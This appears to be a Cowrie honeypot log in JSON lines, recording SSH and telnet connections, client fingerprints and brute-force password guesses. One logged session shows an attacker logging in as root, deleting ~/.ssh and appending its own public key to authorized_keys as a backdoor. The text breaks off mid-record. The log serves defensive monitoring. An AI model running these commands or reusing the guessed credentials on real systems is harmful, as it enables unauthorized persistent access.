{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:a5:9b:eb:05:ee:d6:5a:d1:2d:46:79:7e:db:1a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLd9f2zbiAa6FAkjEaGTECuKumLkjbk2aWObeVXF3Wp+ngAEdPmP75yJM6WTEs/FXtlEJXMbqJMOr6JDwDY6kN3Q6Cea6Ry95ZttWjAP/BmnT7pf+vsi4svFqyLHh6ywLb7neqR1/9EDJFAYm0DcrrJ56ZkOWdTB5RxEY6C04GpWKxB6pRW8DqrW6lAMiRSSMAfvkxeexFyZoqiUoh5MdwfS7wsKdHJtakxH+5qP4mPrEW/dcRFrYz95yyyZtHK5Qxopom1YyyCAi8P388frK6K8Rq3yWTaFpbiA0FerRDTyDKZ5qFEwbAkg4GH0RXap3PbdQTcOrlDHIkylqCviAx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:37.142728Z","src_ip":"139.19.117.129","session":"245df66cdc58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:06:46.750667Z","src_ip":"139.19.117.129","session":"245df66cdc58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.38.208.166","src_port":57968,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa348b08955c","protocol":"telnet","message":"New connection: 14.38.208.166:57968 (10.17.0.5:23) [session: aa348b08955c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:17.545688Z"}
{"eventid":"cowrie.session.closed","duration":13.801682472229004,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:31.347283Z","src_ip":"14.38.208.166","session":"aa348b08955c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":44429,"dst_ip":"159.203.135.109","dst_port":22,"session":"8630a744d66b","protocol":"ssh","message":"New connection: 2.57.121.25:44429 (159.203.135.109:22) [session: 8630a744d66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:32.347027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:32.352466Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:32.483077Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"marybeth","message":"login attempt [user/marybeth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:32.977827Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"marsh","message":"login attempt [user/marsh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:34.086334Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"marsel","message":"login attempt [user/marsel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:35.194637Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"marnie","message":"login attempt [user/marnie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:36.303876Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"manue","message":"login attempt [user/manue] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:37.423431Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:09:38.530216Z","src_ip":"2.57.121.25","session":"8630a744d66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":57398,"dst_ip":"159.203.135.109","dst_port":22,"session":"62cdcfb3db32","protocol":"ssh","message":"New connection: 14.225.2.125:57398 (159.203.135.109:22) [session: 62cdcfb3db32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:13:44.657969Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:13:44.922454Z","src_ip":"14.225.2.125","session":"62cdcfb3db32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":52976,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bccfe3dc638","protocol":"ssh","message":"New connection: 14.225.2.125:52976 (159.203.135.109:22) [session: 6bccfe3dc638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:13:45.177717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:13:45.181219Z","src_ip":"14.225.2.125","session":"6bccfe3dc638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:13:45.440667Z","src_ip":"14.225.2.125","session":"6bccfe3dc638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"froebel","password":"1234","message":"login attempt [froebel/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:13:46.221224Z","src_ip":"14.225.2.125","session":"6bccfe3dc638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:13:47.483948Z","src_ip":"14.225.2.125","session":"6bccfe3dc638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":25182,"dst_ip":"159.203.135.109","dst_port":22,"session":"c97165eb1926","protocol":"ssh","message":"New connection: 213.209.159.159:25182 (159.203.135.109:22) [session: c97165eb1926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:15:58.865232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:15:58.871994Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:15:58.953702Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi","message":"login attempt [kristi/kristi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:15:59.354792Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi1","message":"login attempt [kristi/kristi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:16:00.440275Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi123","message":"login attempt [kristi/kristi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:16:01.525696Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi1234","message":"login attempt [kristi/kristi1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:16:02.680216Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kristi","password":"kristi12345","message":"login attempt [kristi/kristi12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:16:03.765465Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:16:04.850302Z","src_ip":"213.209.159.159","session":"c97165eb1926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.58.181","src_port":35730,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c5ed35c9c69","protocol":"ssh","message":"New connection: 15.204.58.181:35730 (159.203.135.109:22) [session: 9c5ed35c9c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:42.504693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:42.508338Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:42.579622Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Devil123","message":"login attempt [root/Devil123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:42.890652Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.065257Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.068316Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.071767Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.145186Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.321873Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.325005Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.399134Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.402786Z","src_ip":"15.204.58.181","session":"9c5ed35c9c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.58.181","src_port":35738,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b62d0e4386","protocol":"ssh","message":"New connection: 15.204.58.181:35738 (159.203.135.109:22) [session: 43b62d0e4386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.474770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.480202Z","src_ip":"15.204.58.181","session":"43b62d0e4386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.556559Z","src_ip":"15.204.58.181","session":"43b62d0e4386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:43.890799Z","src_ip":"15.204.58.181","session":"43b62d0e4386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:44.969653Z","src_ip":"15.204.58.181","session":"43b62d0e4386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.58.181","src_port":35744,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7efc339e22a","protocol":"ssh","message":"New connection: 15.204.58.181:35744 (159.203.135.109:22) [session: a7efc339e22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:45.039497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:17:45.044110Z","src_ip":"15.204.58.181","session":"a7efc339e22a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 